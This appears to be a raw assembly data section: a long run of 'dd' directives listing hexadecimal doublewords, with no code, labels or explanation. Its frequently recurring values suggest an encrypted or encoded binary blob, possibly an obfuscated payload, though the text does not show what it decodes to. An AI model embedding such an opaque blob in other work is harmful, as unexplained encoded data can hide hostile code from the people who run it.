dd 9C07D48Dh, 9E16BB7h, 959FE834h, 0D20744FEh, 74B7B7h
dd 15666934h
dd 0A8E57032h, 137355F3h, 13E22D32h, 7566112Bh, 0AE8D0954h
dd 0CCD14B72h, 0D0E3E453h, 5960043Bh, 749D0352h, 0CF7AAD5Ah
dd 0A099D7EBh, 137307B7h, 2DE305CAh, 0FC605109h, 15662234h
dd 0BDA53839h, 0C599C47Ch, 15664ADBh, 57A75C32h, 0B5667FF2h
dd 8AF24272h, 0FC3742D9h, 1566223Fh, 34ABC193h, 9F3B3443h
dd 0B05CFFFAh, 73E3AB46h, 0E0600DB5h, 157E013Dh, 68F4432h
dd 33662232h, 81A7C918h, 0DA08A11Eh, 0F9429042h, 35181461h
dd 90A0B73Eh, 137381F7h, 0DB0EBD7Eh, 0ECBB56ECh, 157E953Dh
dd 95698832h, 15664420h, 15662FDBh, 0FCFF032h, 19D25565h
dd 0EB671828h, 0A0991D9Dh, 137307B7h, 9E00E8C7h, 74A3CEF5h
dd 2E5EA7BFh, 73061727h, 198E46B9h, 53664432h, 5F8D91CEh
dd 0C19B212Dh, 0FC04E7E1h, 1566443Ch, 0A871F0C4h, 0BB65847Ah
dd 21D2CDEAh, 743E4678h, 18FF2CDh, 0A4661132h, 98FADD19h
dd 6A1E41AEh, 89AAB189h, 3FBAF268h, 9CC892A4h, 9E12EB7h
dd 156ACB34h, 641E1132h, 0E5E263E7h, 0D3047697h, 90A06742h
dd 137318F7h, 2A0E7D7Eh, 0FCD1C5B0h, 15662220h, 0E646FA23h
dd 2F394496h, 0F9132343h, 0EB0067E0h, 0A0991994h, 13739EB7h
dd 156CCF3Dh, 1A062232h, 156611B0h, 7407E832h, 2E5EC1BFh
dd 0EA932427h, 1A3771E2h, 156688BDh, 9C071F32h, 9E14CB7h
dd 18E7134h, 1668832h, 82A444F2h, 0C0D1ADC8h, 976B4CA3h
dd 0E1542749h, 9ED1B3D0h, 0AB0078C1h, 0D3075E52h, 6F4DB7h
dd 78F0834h, 6A662232h, 0AF497B44h, 0E6E8E82Dh, 8D41E908h
dd 0C5E1704Eh, 557E79C1h, 9B693B1Dh, 15664420h, 15662FDBh
dd 33F58432h, 880D6237h, 0ECEA7335h, 0A099F76Ch, 137307B7h
dd 15670D3Dh, 989A4432h, 5D1AB7h, 19E91E34h, 0FC668832h
dd 15664435h, 60435D10h, 0EA2FD690h, 198FE8E2h, 57664432h
dd 2B526AB4h, 0E47468Ch, 0ED043151h, 7BE3CD53h, 1A603EB5h
dd 156610B5h, 90A07432h, 13734DF7h, 9E934274h, 10E70E2h
dd 0FCDC5634h, 15664434h, 0B27ED8C4h, 0A099D0F8h, 13739EB7h
dd 156649DBh, 0A7BAE932h, 8E220C73h, 47D3DA58h, 90EB1094h
dd 1373190Ah, 9E69E952h, 15668837h, 0A497888Ch, 0C5994375h
dd 156601DBh, 9731C132h, 0D7293DFh, 9E7B7C83h, 529E1A18h
dd 63E301C3h, 1A6058B5h, 156623BDh, 90A0E432h, 137381F7h
dd 6F0EBC75h, 0EDE7FE22h, 15661CDBh, 282EB32h, 0A622317Dh
dd 0E05B06A1h, 0A0995949h, 13739EB7h, 156643DBh, 0B8EC3232h
dd 0CCD37285h, 2E5E0DBFh, 98694227h, 1566223Eh, 15609C3Dh
dd 9C698832h, 15664432h, 9C93F2CDh, 9E16FB7h, 19E98734h
dd 1A664432h, 156624B6h, 15EF1E32h, 0D3668832h, 6F81B7h
dd 9C696534h, 15661133h, 9BCAE0C7h, 188FABB5h, 72662232h
dd 6B7055F0h, 0FAFE9832h, 3D2BDCFCh, 3E397CDh, 0AC061727h
dd 3ECB7469h, 2DE3C953h, 1A603709h, 156610BCh, 0EA9A7132h
dd 90EFB1E2h, 137AA5B0h, 0D0E3D7CAh, 52609D3Bh, 0B2B42CCEh
dd 0AD06F6A8h, 59B39351h, 0E9643754h, 90D3BB53h, 0FC603724h
dd 1566113Eh, 4AA2274Fh, 0DE81C4D0h, 0E85EB68Fh, 2E5E94BFh
dd 1C8F8E27h, 0D2664432h, 9B695049h, 4DF33652h, 976958CDh
dd 1566443Eh, 1560AB3Dh, 9A691132h, 15668832h, 92E0C1BBh
dd 7306242Eh, 0D47EC7B3h, 15668DDAh, 5D7B5932h, 0AE00BAC7h
dd 743C2D14h, 1CA30DF4h, 1A214227h, 156623BEh, 110EE932h
dd 1ADC490Bh, 15664CBFh, 17ED2D32h, 75661132h, 90D37753h
dd 1A605124h, 15662EBAh, 13E31E32h, 1A668832h, 156644B6h
dd 14E92D32h, 0E9661132h, 2E5E0DBFh, 97694227h, 15662238h
dd 156614DBh, 6D7FCF32h, 0C5997ED1h, 15662ADBh, 21083D32h
dd 8C1034C6h, 9FE3CDD9h, 75603EB5h, 0FCA5AE3Dh, 15668820h
dd 8A2760E5h, 528F9FCCh, 0F164ABDAh, 224F7F26h, 1A07C7DCh
dd 156633B6h, 156AF832h, 0BDDB8832h, 569CA78Ah, 7B7BF130h
dd 0A8E54189h, 137390F3h, 0A2E34B32h, 75662232h, 9BAE9054h
dd 74A9032Bh, 1CA3C1F4h, 75212427h, 0E7656689h, 0CE48738h
dd 0FD664432h, 15662221h, 6289C68Ch, 0F3C2B57Fh, 5EC39F9Fh
dd 0BD076918h, 4F24D45Eh, 15686153h, 91414432h, 0D3A46BCEh
dd 3E34E9E2h, 0E3482ECEh, 674B235Ah, 1560CBD2h, 8DB41132h
dd 4D780373h, 3E3F1CDh, 188F2427h, 7C661132h, 78DD308h
dd 1FE0A0D6h, 0C30AA186h, 1567933Dh, 989A8832h, 5D7CB7h
dd 0A7064234h, 0CFE7774Ah, 74077FF2h, 996994CDh, 15662225h
dd 156603DBh, 0FAD01D32h, 2584ABAEh, 703E8574h, 583CDF73h
dd 9C148F50h, 9E1CAB7h, 95064234h, 0A60727C1h, 90A0E9F4h
dd 13734DF7h, 1EA2D75h, 1A661132h, 156686B4h, 156FAD32h
dd 74572232h, 60880024h, 7D87A9AFh, 9B4FF783h, 1B8F42CAh
dd 7A661132h, 0E8EF6EFAh, 4BA85941h, 8CE36EAEh, 0D7ED77AAh
dd 90D37753h, 0FC605124h, 15662234h, 0D599D18Bh, 90EB0C37h
dd 13737F0Ah, 13E72D52h, 1A661132h, 156688B7h, 0E5DD2232h
dd 0C599437Eh, 45DF7752h, 0E4880991h, 7437D3FBh, 157DA03Dh
dd 0FD061132h, 15668823h, 0F7E6B367h, 0F01D9239h, 2FEAF381h
dd 0B99D5B52h, 80D31E43h, 87E3AB53h, 0EC600DB5h, 1CA30DF4h
dd 0FC254227h, 15662220h, 104B5B53h, 0E31A949Dh, 3C282B5Dh
dd 602E37Ah, 0B20E5683h, 75A6FE78h, 15664EDAh, 18EC5232h
dd 39376CCBh, 958C1586h, 0AD39A4E3h, 3079F3Eh, 156AF853h
dd 50228832h, 0E2647B4Ah, 55431265h, 0A09937EBh, 13739EB7h
dd 0E7ED2252h, 90EB43C7h, 13732A0Ah, 0FCB677CAh, 15664422h
dd 0A65DFC3Bh, 0CD904ECAh, 0F479090Fh, 0AD90BB34h, 92F0A7BBh
dd 9169172Eh, 15668838h, 156641DBh, 79CB5332h, 90A0A16Ah
dd 137381F7h, 1DEE4B7Eh, 1A662232h, 156613BAh, 7D07E832h
dd 0EE0028D9h, 156633DBh, 744D1C32h, 9580A9BAh, 8937C909h
dd 0D3B16D9Bh, 0A0992161h, 13738FBBh, 0DDD14B52h, 62D19D54h
dd 14EB1E53h, 0EC668832h, 2E5EC1BFh, 0AE062427h, 2116FBFAh
dd 74BE0354h, 128F94CDh, 16662232h, 0C013079Fh, 90EF44E5h
dd 137ACC18h, 0DE52DCAh, 0FC661132h, 15668821h, 4247BF44h
dd 6EB63D18h, 0DC8636F7h, 0FD80312Dh, 0D33A5661h, 6FE7B7h
dd 7D9E5534h, 0AE150667h, 90D3BBCAh, 75603724h, 2DE39C53h
dd 75609D09h, 1574AC52h, 973A2232h, 5DFD23C6h, 258D8901h
dd 0FAF3F8DBh, 0F719CB37h, 15EF1E6Ch, 74668832h, 75B6BB53h
dd 1568CB63h, 38261132h, 6E9B4961h, 156D56C2h, 1C33855h
dd 0FD06706Ch, 15668837h, 2B87A374h, 0DBD92DF3h, 0B2BC916Bh
dd 8FE30153h, 1A6058B5h, 15663AB2h, 7E61E32h, 0FC668832h
dd 1566443Fh, 6618794Dh, 1E3B7E66h, 844C4117h, 0D0E382F6h
dd 5660373Bh, 58A89052h, 1A5D6082h, 156646B4h, 74A9A832h
dd 9B08ED5Ah, 1561618Eh, 0AE214432h, 5AEA0F29h, 90D3EEA2h
dd 75609D24h, 74B4FB3Dh, 2E5EA7BFh, 0AD061727h, 526B83BAh
dd 0EA078AB9h, 14EB2DE2h, 0ED661132h, 92F80DBBh, 1C8F422Eh
dd 98662232h, 283598D6h, 0B0638B28h, 1CA3C1F4h, 0FC352427h
dd 15661122h, 0F5EDCBCBh, 9CA7233Fh, 0EC684604h, 2DA0CB8Ah
dd 558225Ah, 0DDED24F4h, 156630DBh, 8EA75832h, 31140603h
dd 3FDB5D80h, 0C3C107Fh, 74644BA7h, 3E33DCDh, 989F4227h
dd 5D1AB7h, 0DEC1E34h
dd 0FC668832h, 15664421h, 26CC98F2h, 66169559h, 2CF02394h
dd 0FCF1031Ch, 1A202FEBh, 156616B1h, 14E38732h, 0E0664432h
dd 1A06F2CDh, 156617BBh, 15E78732h, 1A664432h, 9C07D285h
dd 9E1B3B7h, 7335E834h, 4DE6628Dh, 9607B880h, 7A948Fh
dd 91698834h, 156647C8h, 1576CB52h, 65451132h, 2D84EFEAh
dd 13483239h, 20CB524Ch, 0AC001103h, 0D307B36Ch, 6F81B7h
dd 7D936434h, 0EFF0DF03h, 90D377CEh, 75605124h, 0F016C58Ah
dd 1A07E949h, 156690B0h, 1575AD32h, 688A2232h, 453F05D4h
dd 87F90D10h, 97EF914Dh, 4C8DDA2Dh, 2DE39CCFh, 0FC609D09h
dd 1566443Dh, 0B9329093h, 97BE340Ah, 0A3E99AAh, 0FCB4330Ch
dd 15662226h, 2F891500h, 354593D3h, 1049FFC9h, 0FBF3171Bh
dd 0D0034583h, 730658CDh, 196392B3h, 3DADC1B3h, 9C075200h
dd 9E176B7h, 68F2434h, 91662232h, 0C3231307h, 0EE568579h
dd 98434319h, 0E8F318B9h, 9400EFD5h, 7460C3D5h, 1CA3C1F4h
dd 75202427h, 7D076781h, 0E9C1B2E4h, 14EF4BCBh, 0EC662232h
dd 3E3A4CDh, 95698E27h, 15664435h, 1567AA3Dh, 989A1132h
dd 5DB0B7h, 0A1312434h, 0EA077C54h, 14E11EE2h, 0E0668832h
dd 9D68C1BBh, 7506242Eh, 156601DAh, 5FD8B332h, 1B28BEC6h
dd 3418BB31h, 0EC2F944Eh, 0C7E7D343h, 65BB1195h, 78D84453h
dd 90A070CAh, 137381F7h, 1561AD74h, 8FF12232h, 0C56CCB16h
dd 0B166E04Eh, 9469D6CEh, 15662227h, 156601DBh, 7BE93332h
dd 4FCF6567h, 5EAE985Ch, 502F487Dh, 90D37799h, 1A605124h
dd 156624BEh, 1A9F7132h, 98077E8Dh, 5D7CB7h, 0DCE74234h
dd 7F29B4FCh, 156684DBh, 6B091B32h, 1430EA0Dh, 6DB7BE02h
dd 0C599E959h, 156DC43Dh, 138F2232h, 0E9661132h, 9951076h
dd 7E3CDB2h, 0ED603EBAh, 1CA394F4h, 1A208E27h, 15665FB3h
dd 78F4232h, 3E661132h, 875AF993h, 60F66E1Ch, 7EC17D1Dh
dd 827C786Ah, 7439DF70h, 0C1292E5Ah, 940042C4h, 736552DCh
dd 0CBF550B3h, 90D3BB53h, 0FC603724h, 15661120h, 0FB88EBCh
dd 0E7248FD4h, 6E57FCEDh, 253BC386h, 90EB9219h, 13737F0Ah
dd 156EA33Dh, 1A061132h, 156688B7h, 198F2532h, 0DB662232h
dd 0DCF57722h, 8C74F6AAh, 0EA6F6B3Dh, 14E32DE2h, 0E0661132h
dd 9D700DBBh, 9369422Eh, 15662233h, 90A0E9CAh, 137381F7h
dd 7D9AB174h, 81AB72D5h, 1568F852h, 22118832h, 7D1576CEh
dd 4A860F15h, 44B00ADCh, 15669BDBh, 23CFD132h, 710E1876h
dd 9DE0A3Ah, 0F6B6DF25h, 0DB89060h, 90D3DD53h, 0FC600424h
dd 1566883Bh, 0BC3362D1h, 10F310C4h, 2DE39C35h, 1A609D09h
dd 156645B3h, 0C599DA32h, 74B79A52h, 9D640DBBh, 1E8F422Eh
dd 0B0662232h, 6DA4426Ah, 0F00857F0h, 90A0B8FAh, 13732BF7h
dd 1F8F7174h, 0CC668832h, 15AF4FF3h, 7E27DA87h, 1572F890h
dd 0C5718832h, 0F33DC311h, 0DE8BECD8h, 51AECC71h, 0D70B6ED6h
dd 7D07D830h, 0A4445609h, 156601DBh, 5BF65532h, 0BA1988F6h
dd 95E5CAC4h, 0FE0D09CCh, 90D377F0h, 1A605124h, 156623B9h
dd 90EBE832h, 1373B30Ah, 156656DBh, 0B1688B32h, 4FED7C8Bh
dd 436EB1AAh, 50539D73h, 0EAF0C3FDh, 0DCE771E2h, 7BE7FB72h
dd 74A4FB3Dh, 9D60A7BBh, 9C69172Eh, 15668820h, 1563AC52h
dd 33D72232h, 4FA335E9h, 5EBC0954h, 18F2525h, 0C5662232h
dd 4A6D0EB9h, 0BCA91551h, 4525D4FAh, 0C60EFDDEh, 0D3CA9F91h
dd 6F4DB7h, 0AE060234h, 709985A3h, 156600DAh, 0EA2D1032h
dd 76666397h, 0F301EEFEh, 0E7F7414Ch, 9469103Eh, 15664432h
dd 0F80E436Bh, 0FCB968D8h, 15668835h, 0C712B7C2h, 0EA50752Fh
dd 709487h, 68F7134h, 9A664432h, 0EA17679h, 0BA76DC6Bh
dd 287D2383h, 5D8E81A0h, 90EB72E4h, 13732A0Ah, 1567063Dh
dd 0EA9F4432h, 19EC2DE2h, 1A661132h, 15668EB7h, 15EF4B32h
dd 9C662232h, 9EE1BB7h, 156A6134h, 6BA54432h, 23C1A19h
dd 15040D47h, 0A8E5CB26h, 13735CF3h, 62E32D32h, 0FC661132h
dd 15668834h, 2C60932h, 90A0E989h, 137318F7h, 9400E861h
dd 74CE2CD9h, 1563A63Dh, 73061132h, 7D075FB9h, 0DBD8A46Ch
dd 1561AF3Dh, 1A061132h, 0EBED7F8Dh, 90D3BB53h, 75603724h
dd 8E16A954h, 0A78359B3h, 98076162h, 5D1AB7h, 90697134h
dd 15668834h, 75D5A4B3h, 749E486Eh, 0ECB6EECEh, 92C00DBBh
dd 9C69422Eh, 15662238h, 0CFED7752h, 0B950954h, 90A0251Bh
dd 13732BF7h, 1560F875h, 0C01A8832h, 91E588FAh, 0A438A55Ah
dd 6EB1EF5h, 0FC668832h, 1566443Ch, 0E456C17Ch, 341ACCFDh
dd 59321A20h, 0A0999E6Fh, 137334B7h, 156617DBh, 0F760D232h
dd 98A9E553h, 5D1AB7h, 138FE934h, 40668832h, 9EA681C8h
dd 0FCB6DD9Dh, 15661122h, 675D6BDh, 0CF56E244h, 986ABFFCh
dd 6DAA3EBEh, 92CC0DBBh, 48F422Eh, 0F0662232h, 0F6B5B93Ch
dd 32E16795h, 0FB6A2C20h, 439A99B8h, 0DA7ACB1h, 1A668E27h
dd 1566C2B7h, 73344232h, 6149FBB3h, 0D7E7EE68h, 750793D5h
dd 90A043CEh, 137318F7h, 1DEF8775h, 1A664432h, 156620B8h
dd 7D077132h, 0F304F637h, 90D3BBC7h, 1A603724h, 15661DB0h
dd 13E18732h, 1A664432h, 156622B5h, 2DE39C32h, 0EC609D09h
dd 4D352452h, 156636DBh, 0FB50D232h, 423DCEBEh, 77A7DA86h
dd 5DAED381h, 0E5ECC404h, 9400E9B9h, 74CAA5D4h, 759FF2CDh
dd 0C5ED7760h, 0AC8D096Bh, 746D7B52h, 92C8A7BBh, 0D39A172Eh
dd 6F4DB7h, 0A3060734h, 1560CA5Eh, 2ECD1132h, 585B64FCh
dd 743E7087h, 6F6FD45Ah, 19E01EA0h, 0FC668832h, 15664435h
dd 0F798A871h, 0E9976FDBh, 3E33DCDh, 1A064227h, 9807E48Dh
dd 5D29B7h, 0C5997434h, 90EFBCCEh, 137AA580h, 1567913Dh
dd 1A9A8832h, 156645B6h, 90A0DE32h, 137318F7h, 0AA69E871h
dd 1575ADC3h, 3C652232h, 5DFC2299h, 0AC023FAAh, 52CFA09Fh
dd 23BFD21Ah, 350E7086h, 0EC9AA9A5h, 3E3F1CDh, 989A2427h
dd 5D29B7h, 0F3E6E834h, 7494CFD8h, 0E093F2CDh, 92D094BBh
dd 969A8E2Eh, 7E858Fh, 90692234h, 156611FFh, 9BB10952h
dd 0A37AA617h, 90A0430Dh, 137318F7h, 15616171h, 0B4ED4432h
dd 0E58938E3h, 160EE8D4h, 0FCED889Ah, 15664423h, 102DCCFDh
dd 0BF463D0Fh, 5364B433h, 0CE93D953h, 90D3DD1Fh, 0FC600424h
dd 15668822h, 50D39366h, 0E18117Dh, 0DC2326B4h, 0D9EA34B8h
dd 1560AD52h, 84582232h, 0FEF23742h, 74564CB2h, 2E5EC1BFh
dd 73062427h, 95273E88h, 0EA076BFDh, 90EFBDE2h, 137AA58Ch
dd 90A0EDCBh, 137381F7h, 0C00EBD71h, 0ED837904h, 3E3A4CDh
dd 989F8E27h, 5D7CB7h, 1572CB34h, 19A41132h, 0AC8A427Ah
dd 5F586C57h, 753A8946h, 0FA7AE117h, 0C5996950h, 1563C33Dh
dd 1A062232h, 0E007D88Dh, 92DC0DBBh, 9369422Eh, 15662233h
dd 0D0E3D7C7h, 56609D3Bh, 156EAC52h, 0EEF42232h, 0D7EABBFFh
dd 0FC3C4419h, 1566443Dh, 0E7B451EEh, 7BC3C5FDh, 22F0B9A1h
dd 74F555E7h, 0E5D12D52h, 0F40E70CEh, 758C2200h, 94A0CF54h
dd 0A60BB2F0h, 0A0997060h, 13739EB7h, 17E74B52h, 9E662232h
dd 90EB70C2h, 1373B30Ah, 75B6BBCEh, 1563AC3Dh, 94001132h
dd 0E02E6FE2h, 0D7E3CD53h, 1A603EB5h, 156606B1h, 15746132h
dd 789C4432h, 0F740B4BCh, 841ABC73h, 0D500A734h, 0BC53D110h
dd 3DE4452h, 90A070A9h
dd 137381F7h, 14EB4B71h, 0EC662232h, 0E4CA265Ah, 0A0997DB6h
dd 137352B7h, 156AA33Dh, 92691132h, 15668834h, 1566C93Dh
dd 9C692232h, 1566113Bh, 738D0252h, 924097B3h, 2DE3AF53h
dd 1A600409h, 156689BFh, 0C599BD32h, 15662DDBh, 0D73F5732h
dd 28B0A704h, 7CC4CB8Dh, 0EB0FB65Eh, 92A094BBh, 0AF068E2Eh
dd 39A7DA40h, 1566A63Dh, 1A071132h, 156684B3h, 13E94B32h
dd 1A662232h, 156611BFh, 0D0E34E32h, 5A60513Bh, 1568A93Dh
dd 1A061132h, 156688BFh, 15E54B32h, 74662232h, 20F6C55Ah
dd 156161A5h, 54FE4432h, 0B73E3CB9h, 1575F87Eh, 35DA8832h
dd 0D8161AE8h, 0FE0195F3h, 0B2F819Ch, 0D82C09BCh, 90D3BBB1h
dd 0FC603724h, 15661135h, 0C89C7554h, 989469CBh, 5D1AB7h
dd 0AD007134h, 9969B16Ah, 15664434h, 4029FCB3h, 0EA0721C6h
dd 19E387E2h, 75664432h, 1484A354h, 0CC87AAF3h, 9C07AAAAh
dd 9E18EB7h, 90A0DB34h, 137318F7h, 14E1877Dh, 0E0664432h
dd 7B68205Ah, 0A099E4CBh, 13739EB7h, 2DE3C9CAh, 75603709h
dd 1577F9C7h, 0D97D8832h, 57819536h, 0A466C7C4h, 0CF825964h
dd 0AF9D4078h, 410C9FEFh, 0C5994369h, 156602DBh, 40CDF332h
dd 4F2B062Eh, 0B554DB8h, 0CE111C42h, 0DA87AE15h, 92A8C1BBh
dd 1C8F242Eh, 9A661132h, 0A42EF1B3h, 9D9491DCh, 156632DBh
dd 8F1DFE32h, 0C9AFE7B2h, 0B5527E7Ah, 9FF73AC6h, 0D0E3D7A6h
dd 58609D3Bh, 6C2F2CCBh, 9C69EA05h, 15661123h, 156684DBh
dd 0B8513A32h, 1723D4D0h, 8DA31387h, 90D377B8h, 1A605124h
dd 15662EBDh, 13E81E32h, 1A668832h, 156644BCh, 2DE3AF32h
dd 0ED600409h, 9C9F58CDh, 9E192B7h, 7ADD4234h, 75253B29h
dd 15660A3Dh, 0D7E74432h, 0B0DB8A2h, 1F8F7053h, 5D668832h
dd 0D669B99Fh, 26B91F84h, 0D0E3D7BCh, 58609D3Bh, 156655DBh
dd 0CFA10F32h, 265717F9h, 9A941A0Ah, 0D456D70Dh, 9C0E2F8Eh
dd 0FCBAE67Fh, 15668837h, 5D7283F5h, 90D3DD70h, 0FC600424h
dd 1566883Dh, 0D45989FCh, 0CA9DD603h, 47E6553h, 989546EAh
dd 5D7CB7h, 156BCB34h, 0C0FF1132h, 4534CF71h, 58C29697h
dd 0EA4F134Eh, 10E31EE2h, 75668832h, 749EF33Dh, 92B4A7BBh
dd 128F172Eh, 0DA668832h, 8F5A7D16h, 90A00029h, 137318F7h
dd 108F7D67h, 72664432h, 0A601AD18h, 0E4B265Ah, 3E887AEh
dd 0FC664432h, 15662223h, 0E1D56667h, 4D9371Fh, 2184CFE7h
dd 3CA8CC5Ah, 90D3EEFAh, 0FC609D24h, 15664420h, 0EA569340h
dd 7B5F47C2h, 4497B2EDh, 80D2002Ah, 90EBDC65h, 13732A0Ah
dd 0ECB677C7h, 92BCC1BBh, 1C8F242Eh, 661132h, 0DB2CD004h
dd 0F09C313Fh, 1CA3A7F4h, 0FC251727h, 1566883Eh, 0AF8FC257h
dd 7A792D3Bh, 0C230878Ch, 0C096A25Ah, 1DE54BE0h, 1A662232h
dd 156613BAh, 0EA07E832h, 70C187h, 0A1D24234h, 98076A81h
dd 5DB0B7h, 73312434h, 7539ECB9h, 15EE1ECAh, 74668832h
dd 1AB6BB53h, 15663BB9h, 1572F832h, 8118832h, 0A6C397D8h
dd 892CF410h, 0E781D4Ah, 248E6C54h, 9B69296Fh, 15662233h
dd 0CBE398CBh, 1A6094B5h, 15664AB1h, 156FCB32h, 0EB011132h
dd 0D86B9E87h, 0D332A4CEh, 6FE7B7h, 1A064334h, 15668ABFh
dd 4498CF32h, 0F6DE9B54h, 0FF0E706Ch, 0ED9BCA86h, 3E3F1CDh
dd 1A062427h, 156614BEh, 16813332h, 0AC005CF4h, 1A076CABh
dd 156618BEh, 1A9FE832h, 156644BEh, 90EB4332h, 13732A0Ah
dd 156E063Dh, 90694432h, 15662230h, 0C5997052h, 156683DBh
dd 0EC93CF32h, 0D6D83067h, 0B8FA64A5h, 3B5F0DBBh, 188F4227h
dd 0C9662232h, 3217EBEBh, 27FAECDEh, 7CBFC9E1h, 1CA3A7F4h
dd 0FC211727h, 1566883Dh, 718A6343h, 98B510AEh, 13AF78EBh
dd 1AC91925h, 156643B8h, 14ED2D32h, 0E9661132h, 8D3F115Ah
dd 1CEB4BD0h, 75662232h, 15E61ECAh, 74668832h, 3E3F1CDh
dd 1D8F2427h, 0A4661132h, 6D9B2415h, 753012B5h, 9E00ECB9h
dd 90EB70EBh, 1373B30Ah, 75B6BBCAh, 74B9A954h, 928494BBh
dd 58F8E2Eh, 1E664432h, 5C081939h, 0B35430AEh, 4D34D786h
dd 1A037694h, 156623B3h, 90A0E932h, 137381F7h, 97692475h
dd 15662237h, 16B04388h, 64DFEE00h, 0D70E2508h, 0FCD7DF52h
dd 15661139h, 0E7E6EF64h, 73C96BB7h, 75457272h, 1567983Dh
dd 749F8832h, 3E3F1CDh, 93692427h, 15661133h, 739AE8C7h
dd 98078EB9h, 5D1AB7h, 1561F834h, 7C68832h, 70E634E9h
dd 1A36424Bh, 156611B4h, 7493D332h, 986994CDh, 15662233h
dd 0F3E398CBh, 756094B5h, 0C2E79B81h, 1307225Bh, 0D0E3D753h
dd 52609D3Bh, 156643DBh, 0B5D66832h, 58A7D262h, 0B3989C5Ah
dd 0A099B1EDh, 137334B7h, 2DE39CCAh, 75609D09h, 739DFB3Dh
dd 0F49ECCB3h, 75B6EE53h, 0A24F58B3h, 9C072116h, 9E1C8B7h
dd 0AE007134h, 940042DEh, 741B6DD4h, 0D0E3E4CAh, 4A60043Bh
dd 156687DBh, 6D920432h, 5644CC06h, 0E1C13398h, 0D9B290F3h
dd 45942C5Ah, 1560CBACh, 2DAB1132h, 0AB7C4EAEh, 3E3F1CDh
dd 90692427h, 1566113Dh, 156682DBh, 0E0053332h, 17F2ADF3h
dd 0EDF00B1Ch, 2E5E0DBFh, 0FD064227h, 15662221h, 45D522C0h
dd 65F89DCEh, 1DF06CBFh, 3F91DD3Fh, 0ED89D50Dh, 0D3DFEE68h
dd 0C59925D9h, 4A9F7252h, 7412D8B2h, 92880DBBh, 0AE06422Eh
dd 7C1495B9h, 1560943Dh, 0D5E78832h, 407E9B38h, 0D0E3E453h
dd 5A60043Bh, 6E59E0C7h, 470683CEh, 743C7965h, 3E3A4CDh
dd 989F8E27h, 5D7CB7h, 0C599D734h, 1573953Dh, 46068832h
dd 156AAD68h, 31AF2232h, 0E6458DB1h, 5BC4DA8Bh, 9C07E174h
dd 9EE38B7h, 1577F834h, 5BA98832h, 9193F87Bh, 0BA8A22F8h
dd 2F8432Fh, 0D3D8D2ABh, 6F81B7h, 91696534h, 1566113Eh
dd 15668FDBh, 6D457732h, 46A5384Fh, 4E085D5Ah, 0EA87C8h
dd 0FC664432h, 15662222h, 0F476CED6h, 4FC2B9A3h, 0D2478F69h
dd 1E04CBECh, 3E3A4CDh, 9B698E27h, 15664433h, 2DE3AFCEh
dd 0FC600409h, 1566883Fh, 8A3ED564h, 282E773Dh, 35420903h
dd 0FCB67740h, 15664439h, 623054B1h, 1A16A148h, 9C6E87AEh
dd 9EE5AB7h, 1560CB34h, 0B6251132h, 477CEA8Ch, 1CA3C1F4h
dd 1A212427h, 156608B5h, 0AA69E832h, 1569ADF3h, 60812232h
dd 0C758115Eh, 6F0FF0DDh, 0F78E5B80h, 9C694311h, 1566113Bh
dd 0DBE7EE52h, 0FFD709DCh, 31AB4A53h, 48FD234h, 0E1668832h
dd 0B36BFD36h, 0DD3EB6AFh, 62F233CBh, 835A5D6Ah, 758ECE52h
dd 1280A2CEh, 0A0997053h, 13739EB7h, 95DF2252h, 156FCBDFh
dd 8BF71132h, 0ECB98BA6h, 747D190Dh, 2DE3AFCEh, 0EC600409h
dd 15696052h, 0CB234432h, 4607462Dh, 0E9D9E567h, 692D5F48h
dd 0E3E72225h, 743EB3C6h, 9969C1CDh, 15668821h, 15664ADBh
dd 4DDD9432h, 6F122A2Bh, 3E81A82Dh, 0E0AA05C1h, 9D44A7BBh
dd 0D39F172Eh, 6F4DB7h, 7D9E1B34h, 0C1DD42FEh, 90D3EECAh
dd 0FC609D24h, 15664435h, 750ED36h, 98A1C533h, 5DB0B7h
dd 0C599B834h, 0E7E3ABC7h, 0FC600DB5h, 1566883Dh, 46EC32EDh
dd 25A4F906h, 7253A254h, 0E9C1FFCBh, 1CA3C1F4h, 1A392427h
dd 156619B4h, 17ED8732h, 75664432h, 1AEC2D53h, 0FC661132h
dd 15668838h, 2E99E583h, 4F2FA6D0h, 5B0E94BCh, 1AF86166h
dd 156648BAh, 13E32D32h, 1A661132h, 156688B7h, 0DE04B32h
dd 0FC662232h, 15661121h
dd 0A51D3542h, 4F3F2A39h, 284B10CCh, 5F80AA76h, 0EAF6EABEh
dd 70C187h, 1577CB34h, 0FA01132h, 4AA0938Ch, 0FF04AA46h
dd 0CF0A4510h, 984283B0h, 5DB0B7h, 1563AD34h, 0AE9D2232h
dd 0EA4F141Dh, 18F71E2h, 0D3664432h, 0ACA60149h, 0F35653E3h
dd 12E187D3h, 8CD93333h, 9CB06C00h, 9E1E7B7h, 15726134h
dd 8D1C4432h, 32DEFE6Bh, 2EA9AE4Fh, 209B8BA0h, 38F4D133h
dd 90A00BAFh, 137318F7h, 5D0E706Dh, 75B7571Ah, 0AB9ACCB3h
dd 749F19B3h, 3E33DCDh, 96694227h, 15662239h, 0CFE77752h
dd 0AC00DC05h, 980780FFh, 5D1AB7h, 1DE31E34h, 1A668832h
dd 156646BEh, 0FC074232h, 15661122h, 71821A70h, 0E6DB7CE6h
dd 0D2F346A1h, 588DCD00h, 976958CDh, 15664433h, 0EFE3ABCAh
dd 1A600DB5h, 156683B2h, 1560AD32h, 7C182232h, 96C1D602h
dd 1579083Dh, 9F694432h, 1566222Bh, 156605DBh, 500DFA32h
dd 0CDC4A857h, 549205FBh, 3AE6E7Dh, 3A3F55A8h, 0EC622E01h
dd 1576225Ah, 156EF832h, 0EFD8832h, 85470EFFh, 150E19D0h
dd 1A661122h, 156692BDh, 9C692432h, 15662232h, 15661CDBh
dd 28B3B332h, 2F4EC54Eh, 0BDF85F26h, 7F07D1B1h, 0E99EE832h
dd 0DCF3BB53h, 0FC603716h, 15661139h, 7B66B42Dh, 0D430CC72h
dd 9C902DD8h, 7AB8B7h, 0AE9AE834h, 3D901C66h, 9C694253h
dd 15661131h, 0FD9C0354h, 1566443Eh, 20EA1E2h, 0E1608581h
dd 97D6F4A4h, 98071CC7h, 95342B7h, 14E21E34h, 0E0668832h
dd 78F94CDh, 2E662232h, 0F88D2D8Ah, 940EF594h, 17A8BDAEh
dd 57B20402h, 108F71E7h, 0C6668832h, 0D7041209h, 0C95D9B52h
dd 74075265h, 1A068C58h, 156646B4h, 1A4A9032h, 15661CBFh
dd 15616032h, 2AC54432h, 0D0BB4C75h, 7D074A9Bh, 15669832h
dd 156648DBh, 0BA506032h, 0DF5D76B5h, 0AE35572Fh, 35662C35h
dd 7F932232h, 12EE1E32h, 75668832h, 0DAD7F88h, 0EA9F4375h
